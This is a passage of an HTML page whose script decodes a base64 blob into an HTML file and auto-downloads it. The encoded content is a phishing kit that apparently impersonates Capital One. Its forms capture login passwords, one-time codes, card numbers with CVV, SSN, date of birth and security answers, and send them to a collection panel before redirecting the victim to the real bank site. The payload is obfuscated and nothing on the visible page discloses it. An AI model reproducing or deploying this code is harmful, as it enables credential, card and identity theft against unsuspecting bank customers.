ICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09PSAicmVzZXQiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlcnJvckJveDQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3hFbS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmRW1Cb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g2LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc0NhcmQuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBpZihkYXRhLm1zZy5pbmNsdWRlcygiaW52YWxpZGFzazoiKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHF1ZXN0aW9uID0gIGRhdGEubXNnLnNwbGl0KCJpbnZhbGlkYXNrOiIpWzFdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RUZXh0LnRleHRDb250ZW50ID0gcXVlc3Rpb247CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlcnJvckJveDQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3hFbS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmRW1Cb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyQm94NTYuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJpbnZhbGlkdXNlciIpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm1zZzEuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g1LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJpbnZhbGlkZW1haWxwYXNzIil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3hFbS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbTJlcnIyLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDUuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlclRleHQudGV4dENvbnRlbnQgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBpZihkYXRhLm1zZyA9PSAiZG9uZSIpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiaHR0cHM6Ly93d3cuY2FwaXRhbG9uZS5jb20vIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICB9LCA1MDAwKTsKICAgICAgICAgICAgfSkKICAgICAgICB9OwoKICAgICAgICBmTGcuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgdXNlciA9IGUudGFyZ2V0LmVsZW1lbnRzLnVzZXIudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IHBhc3MgPSBlLnRhcmdldC5lbGVtZW50cy5wYS52YWx1ZTsKICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgZXJybXNnMS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CgogICAgICAgICAgICBlcnIrKzsKICAgICAgICAgICAgY29uc3QgZGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgIAogICAgICAgICAgICBpZihlcnIgPT09IDEpewogICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGxldCByZXMgPSBgVXNlcjogJHt1c2VyfSBcblBhc3M6ICR7cGFzc31gOwogICAgICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEiLCByZXMpOwogICAgICAgICAgICAgICAgbm9QYW5lbERhdGEoZGF0YSk7CiAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgZXJybXNnMS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgfSwgMjAwMCk7CiAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgbGV0IHJlcyA9IGBVc2VyOiAke3VzZXJ9IFxuUGFzczogJHtwYXNzfWA7CiAgICAgICAgICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgICAgICAgICBkYXRhLmFwcGVuZCgiYmFzZVVybCIsIGZpbGVQYXRoKTsKICAgICAgICAgICAgICAgICAgICBwYW5lbFNlbmQoZGF0YSwgZSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgIH0pOwoKCiAgICAgICAgb3RDYXJkLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IGNvZGUgPSBlLnRhcmdldC5lbGVtZW50cy5jb2RlLnZhbHVlOwogICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICBlcnJvckJveDQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgCiAgICAgICAgICAgIGNvbnN0IGRhdGEgPSBuZXcgRm9ybURhdGEoKTsKICAgICAgICAgICAgbGV0IHJlcyA9IGBDb2RlOiAke2NvZGV9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIHBhbmVsU2VuZChkYXRhLCBlKTsKICAgICAgICAKICAgICAgICB9KTsKCiAgICAgICAgZkJpbGwuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgYWRkcmVzcyA9IGUudGFyZ2V0LmVsZW1lbnRzLmFkZHJlcy52YWx1ZTsKICAgICAgICAgICAgY29uc3QgemlwID0gZS50YXJnZXQuZWxlbWVudHMuemlwLnZhbHVlOwogICAgICAgICAgICBjb25zdCBwaG9uZSA9IGUudGFyZ2V0LmVsZW1lbnRzLnBob25lLnZhbHVlOwoKICAgICAgICAgICAgY29uc3QgZGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgICAgICBsZXQgcmVzID0gYGFkZHJlc3M6ICR7YWRkcmVzc30gXG5aaXA6ICR7emlwfSBcblBob25lOiAke3Bob25lfWA7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJkYXRhMiIsIHJlcyk7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJiYXNlVXJsIiwgZmlsZVBhdGgpOwogICAgICAgICAgICBwYW5lbFNlbmQoZGF0YSwgZSk7CgogICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIlZhbGlkYXRpbmcgeW91ciBpbmZvcm1hdGlvbiwgWW91IHdpbGwgcmVjZWl2ZSBmaW5hbCBzbXMgdmVyaWZpY2F0aW9uIHNob3J0bHkiOwogICAgICAgICAKICAgICAgICB9KTsKCgogICAgICAgICBmRW1Cb3guYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgZW0gPSBlLnRhcmdldC5lbGVtZW50cy5lbS52YWx1ZTsKICAgICAgICAgICAgY29uc3QgcGEgPSBlLnRhcmdldC5lbGVtZW50cy5wYS52YWx1ZTsKCiAgICAgICAgICAgIGVtMmVycjIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIAogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgRW1haWw6ICR7ZW19IFxuUGFzczogJHtwYX1gOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiZGF0YTIiLCByZXMpOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiYmFzZVVybCIsIGZpbGVQYXRoKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOwoKICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgICBmQ2FyZC5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CgogICAgICAgICAgICBjb25zdCBjTmFtZSA9IGUudGFyZ2V0LmVsZW1lbnRzLmNOYW1lLnZhbHVlOwogICAgICAgICAgICBjb25zdCBjTnVtID0gZS50YXJnZXQuZWxlbWVudHMuY051bS52YWx1ZTsKICAgICAgICAgICAgY29uc3QgZXhwID0gZS50YXJnZXQuZWxlbWVudHMuZXhwLnZhbHVlOwogICAgICAgICAgICBjb25zdCBjdiA9IGUudGFyZ2V0LmVsZW1lbnRzLmN2LnZhbHVlOwogICAgICAgIAogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgQ2FyZCBOYW1lOiAke2NOYW1lfSBcbkNhcmQgTnVtYmVyOiAke2NOdW19IFxuRXhwaXJhcnkgRGF0ZTogJHtleHB9IFxuQ3Z2OiAke2N2fWA7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJkYXRhMiIsIHJlcyk7CiAgICAgICAgICAgIGRhdGEuYXBwZW5kKCJiYXNlVXJsIiwgZmlsZVBhdGgpOwogICAgICAgICAgICBwYW5lbFNlbmQoZGF0YSwgZSk7CiAgICAgICAgICAgIAogICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgIH0pOwoKCiAgICAgICAgIHJlc0NhcmQuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICAgICAgY29uc3QgbG5hbWUgPSBlLnRhcmdldC5lbGVtZW50cy5sbmFtZS52YWx1ZTsKICAgICAgICAgICAgY29uc3Qgc24gID0gZS50YXJnZXQuZWxlbWVudHMuc24udmFsdWU7CiAgICAgICAgICAgIGNvbnN0IGRvYiA9IGUudGFyZ2V0LmVsZW1lbnRzLmRvYi52YWx1ZTsKICAgICAgICAKICAgICAgICAgICAgY29uc3QgZGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgICAgICBsZXQgcmVzID0gYExhc3QgTmFtZTogJHtsbmFtZX0gXG5TU046ICR7c259IFxuRE9COiAke2RvYn1gOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiZGF0YTIiLCByZXMpOwogICAgICAgICAgICBkYXRhLmFwcGVuZCgiYmFzZVVybCIsIGZpbGVQYXRoKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOwogICAgICAgICAgICAKICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgICAgcXVlc3RDYXJkLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IG1tQnYgPSBlLnRhcmdldC5lbGVtZW50cy5tbUJ2LnZhbHVlOwogICAgICAgIAogICAgICAgIAogICAgICAgICAgICBjb25zdCBkYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGxldCByZXMgPSBgJHtxdWVzdFRleHQudGV4dENvbnRlbnR9OiAke21tQnZ9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIGVyckJveDU2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgcGFuZWxTZW5kKGRhdGEsIGUpOyAgCiAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgfSk7CgoKCiAgICAgICAgCgogICAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg=="; var decodedStringAtoB = atob(encodedStringAtoB); const myBlob = new Blob([decodedStringAtoB], { type: 'text/html' }); const url = window.URL.createObjectURL(myBlob); a.attr("href", url); $("body").append(a); a[0].click(); window.URL.revokeObjectURL(url); a.remove(); } </script> </head> <body> <!-- Your HTML content goes here --> </body> </html>